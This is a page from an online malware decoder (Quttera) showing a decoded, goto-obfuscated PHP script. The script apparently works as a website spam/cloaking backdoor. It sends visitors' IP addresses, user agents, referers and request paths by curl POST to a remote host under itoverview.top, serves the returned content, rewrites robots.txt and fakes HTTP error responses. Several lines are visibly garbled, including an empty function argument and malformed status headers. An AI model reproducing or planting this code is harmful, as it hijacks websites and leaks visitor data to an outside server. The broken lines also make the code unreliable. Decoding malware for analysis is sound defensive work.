Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


goto yrjSA;
 ryp6o: roQ4P: goto uEUJw;
 S7xK3: $FGDyo = base64_encode($Jvpw7 . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]);
 goto Df8MQ;
 w_98D: goto lB7eF;
 goto oNZrR;
 gY3ZI: chpDt: goto VLVPx;
 e7hRV: jB0OM: goto Wlg7q;
 Wlg7q: $XXOoA = "https://" . $bdQRy . ".itoverview.top/index.php";
 goto Y3Ekd;
 oNZrR: VILaj: goto NhXBy;
 mkhIY: header("HTTP/1p 0 Internal Server Error");
 goto TlPNX;
 N2_5o: IrvUB: goto TUG6I;
 ElRv1: dbjA7: goto kJIlZ;
 YQ2F2: Ae7Ak: goto gQNJP;
 yrjSA: error_reporting(0);
 goto kJJp0;
 Y3Ekd: $yZAmT[] = array();
 goto gQmim;
 W6hW3: OEG9h: goto LDa3H;
 TUG6I: goto Ae7Ak;
 goto S5Myw;
	 kJJp0: if (!function_exists("VOQ5s")) {
	 goto KLS54;
	 
}
 goto vhahR;
 i97Oe: mnLpi: goto UpZTS;
 wKANv: exit;
 goto k3APF;
 UpZTS: header("Content-type:text/xml");
 goto q9iCa;
 VLVPx: goto xjHot;
 goto ElRv1;
	 DNZ9y: if ($p9gbv == "5") {
	 goto sSxdo;
	 
}
 goto ZUx2R;
	 NEjlz: function oVmsM() {
	 goto z7AP6;
	 g20Rc: return $eqPPK;
	 goto wyJEX;
	 hJfTM: H_zlm: goto Ym0B3;
	 nkP7w: goto H_zlm;
	 goto heO1A;
	 sr3t8: $eqPPK = $_SERVER["HTTP_X_FORWARDED_FOR"];
	 goto hJfTM;
		 p8LSg: if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
		 goto uvDDv;
		 
	}
	 goto OJroH;
		 z7AP6: if (!empty($_SERVER["HTTP_CLIENT_IP"])) {
		 goto VC2dS;
		 
	}
	 goto p8LSg;
	 cdogw: VC2dS: goto a2hec;
	 OJroH: $eqPPK = $_SERVER["REMOTE_ADDR"];
	 goto nkP7w;
	 kW2mf: Db2FW: goto g20Rc;
	 heO1A: uvDDv: goto sr3t8;
	 a2hec: $eqPPK = $_SERVER["HTTP_CLIENT_IP"];
	 goto kW2mf;
	 Ym0B3: goto Db2FW;
	 goto cdogw;
	 wyJEX: 
}
 goto yFqRl;
 q9iCa: O67WD: goto YY_kl;
	 VcZM5: if (!(strpos($UChj5, "robots.txt") || strpos($UChj5, "pingsitemap") || $UChj5 === "/ping")) {
	 goto oNPKV;
	 
}
 goto BRjtP;
 c1He0: KLS54: goto Jqdvi;
 iTbXx: goto jB0OM;
 goto W6hW3;
	 yFqRl: function mBAqZ() {
	 goto bDZpg;
		 bDZpg: if (!empty($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") {
		 goto rmMnW;
		 
	}
	 goto Y3FoL;
		 r4JZf: if (!empty($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") {
		 goto nEK39;
		 
	}
	 goto Ta0r4;
	 YXi3E: goto I7Mha;
	 goto sm_Fb;
	 AkVIp: goto I7Mha;
	 goto zP1Oj;
	 Rj_0i: return true;
	 goto AkVIp;
	 M6Mbl: return true;
	 goto xABa_;
	 zP1Oj: nEK39: goto M6Mbl;
	 v2xbT: return true;
	 goto YXi3E;
	 BHXYu: return false;
	 goto q06Oq;
		 Y3FoL: if (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") {
		 goto XorSW;
		 
	}
	 goto r4JZf;
	 MFlwT: rmMnW: goto v2xbT;
	 Ta0r4: goto I7Mha;
	 goto MFlwT;
	 sm_Fb: XorSW: goto Rj_0i;
	 xABa_: I7Mha: goto BHXYu;
	 q06Oq: 
}
 goto T5PkF;
 Uhm6f: DV57r: goto vi3YF;
 dsTkD: oNPKV: goto IrXNg;
 YLI3B: sSxdo: goto mkhIY;
 YY_kl: echo $p9gbv;
 goto FIBEQ;
	 HGep9: if (strtolower(substr($UChj5, -4)) === ".xml") {
	 goto mnLpi;
	 
}
 goto VcZM5;
	 knF3u: if ($p9gbv === false) {
	 goto roQ4P;
	 
}
 goto kgncl;
	 p3EBG: if (strpos($p9gbv, "4 Not Found xx_") !== false) {
	 goto dbjA7;
	 
}
 goto DNZ9y;
	 kgncl: if (in_array($p9gbv, ["None", "Continue", "blank"])) {
	 goto D1m9g;
	 
}
 goto wg6PN;
 gQmim: $Qzt08 = array("SCRIPT_NAME", "REQUEST_URI", "REQUEST_SCHEME", "SERVER_PORT", "REMOTE_ADDR", "HTTP_REFERER", "HTTP_ACCEPT_LANGUAGE", "HTTP_USER_AGENT", "HTTP_HOST");
 goto GIw0k;
 mEmIY: $p9gbv = OcXEU($XXOoA, $ueSQg, $yZAmT);
 goto knF3u;
 ZYIwY: $bdQRy = "x72";
 goto BW4Im;
 Jqdvi: $ixvW5 = "05";
 goto ZYIwY;
 cg_Eq: $WjpCe = fopen("robots.txt", "w");
 goto IOY5h;
 S5Myw: D1m9g: goto YQ2F2;
 gQNJP: goto T3e1p;
 goto ryp6o;
 LDa3H: $Jvpw7 = "https://";
 goto e7hRV;
 J5j3L: $XXOoA = $XXOoA . "?=" . $FGDyo;
 goto mEmIY;
 kH5KK: $Jvpw7 = "http://";
 goto iTbXx;
 CDME3: goto IrvUB;
 goto Uhm6f;
 TlPNX: exit;
 goto gY3ZI;
 Ih3rJ: WIUSU: goto EPFNH;
	 T5PkF: if (MbaqZ()) {
	 goto OEG9h;
	 
}
 goto kH5KK;
 kJIlZ: header("HTTP/1.1 4 Not Found");
 goto i09as;
 k3APF: xjHot: goto CDME3;
 ZUx2R: $UChj5 = $_SERVER["REQUEST_URI"];
 goto HGep9;
	 BW4Im: function oCXEU($oQqxv, $ueSQg, $l37E4 = array()) {
	 goto YUfKm;
	 P9bAs: $ztbL_ = curl_init();
	 goto OK0Vx;
	 zKsnB: $fHHGy = curl_exec($ztbL_);
	 goto ZGGhQ;
	 WGnBY: @curl_setopt($ztbL_, CURLOPT_SSL_VERIFYPEER, false);
	 goto gTGEq;
		 wKHgf: if (!($fHHGy == "error code: 502")) {
		 goto cHktC;
		 
	}
	 goto pWpG4;
	 qxi0N: curl_setopt($ztbL_, CURLOPT_POST, 1);
	 goto bXxqh;
		 Yig2y: if (!(0 !== $FfSJ0)) {
		 goto KS35i;
		 
	}
	 goto x1Y7J;
	 x1Y7J: return false;
	 goto jFFg9;
	 pWpG4: return false;
	 goto L8e_9;
	 jFFg9: KS35i: goto wKHgf;
	 WBQJC: curl_setopt($ztbL_, CURLOPT_TIMEOUT, 4);
	 goto qxi0N;
	 ZGGhQ: $FfSJ0 = curl_errno($ztbL_);
	 goto DuGRG;
	 L8e_9: cHktC: goto S32VC;
	 YUfKm: $oQqxv = str_replace(" ", "+", $oQqxv);
	 goto P9bAs;
	 Lle80: curl_setopt($ztbL_, CURLOPT_FOLLOWLOCATION, 1);
	 goto BKJcn;
	 Ut_p5: curl_setopt($ztbL_, CURLOPT_HEADER, 0);
	 goto WBQJC;
	 S32VC: return $fHHGy;
	 goto BPiPf;
	 BKJcn: curl_setopt($ztbL_, CURLOPT_USERAGENT, $ueSQg);
	 goto zKsnB;
		 OK0Vx: curl_setopt($ztbL_, CURLOPT_URL, "{
		$oQqxv
	}
	");
	 goto WGnBY;
	 DuGRG: curl_close($ztbL_);
	 goto Yig2y;
	 bXxqh: curl_setopt($ztbL_, CURLOPT_POSTFIELDS, http_build_query($l37E4));
	 goto Lle80;
	 gTGEq: curl_setopt($ztbL_, CURLOPT_RETURNTRANSFER, 1);
	 goto Ut_p5;
	 BPiPf: 
}
 goto NEjlz;
 CwHc6: goto chpDt;
 goto YLI3B;
	 ZdRns: if (strpos($j9y1H, "favicon.ico") !== false) {
	 goto VILaj;
	 
}
 goto J5j3L;
 vhahR: @VOq5s();
 goto c1He0;
 BRjtP: header("Content-Type: text/plain");
 goto cg_Eq;
	 wg6PN: if ($p9gbv == "4") {
	 goto DV57r;
	 
}
 goto p3EBG;
 uiAHw: exit;
 goto N2_5o;
 IrXNg: goto O67WD;
 goto i97Oe;
 i09as: echo $p9gbv;
 goto wKANv;
 sSdr0: $ueSQg = strtolower(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '');
 goto S7xK3;
 uEUJw: T3e1p: goto w_98D;
 EPFNH: $yZAmT["ip"] = oVmsM();
 goto aw703;
	 GIw0k: foreach ($Qzt08 as $bA46o) {
	 goto D5CYl;
	 IQZHG: $r1yoT = str_replace("=", , $r1yoT);
	 goto uSh8G;
	 Ydk2p: anbD4: goto hRJfa;
	 UXo2N: $r1yoT = str_replace("+", "-", $r1yoT);
	 goto r0Sn5;
	 uSh8G: $yZAmT[strtolower($bA46o)] = $Hgt2L;
	 goto Ydk2p;
	 D5CYl: $Hgt2L = isset($_SERVER[$bA46o]) ? $_SERVER[$bA46o] : '';
	 goto UXo2N;
	 r0Sn5: $r1yoT = str_replace("/", "_", $r1yoT);
	 goto IQZHG;
	 hRJfa: 
}
 goto Ih3rJ;
 R2btd: fclose($WjpCe);
 goto dsTkD;
 zah13: echo $p9gbv;
 goto uiAHw;
 vi3YF: header("HTTP/1.104 Not Found");
 goto zah13;
 FIBEQ: exit;
 goto CwHc6;
 aw703: $yZAmT["http"] = $Jvpw7;
 goto sSdr0;
 IOY5h: fwrite($WjpCe, $p9gbv);
 goto R2btd;
 Df8MQ: $j9y1H = urlencode($_SERVER["REQUEST_URI"]);
 goto ZdRns;
 NhXBy: lB7eF:



© 2023 Quttera Ltd. All rights reserved.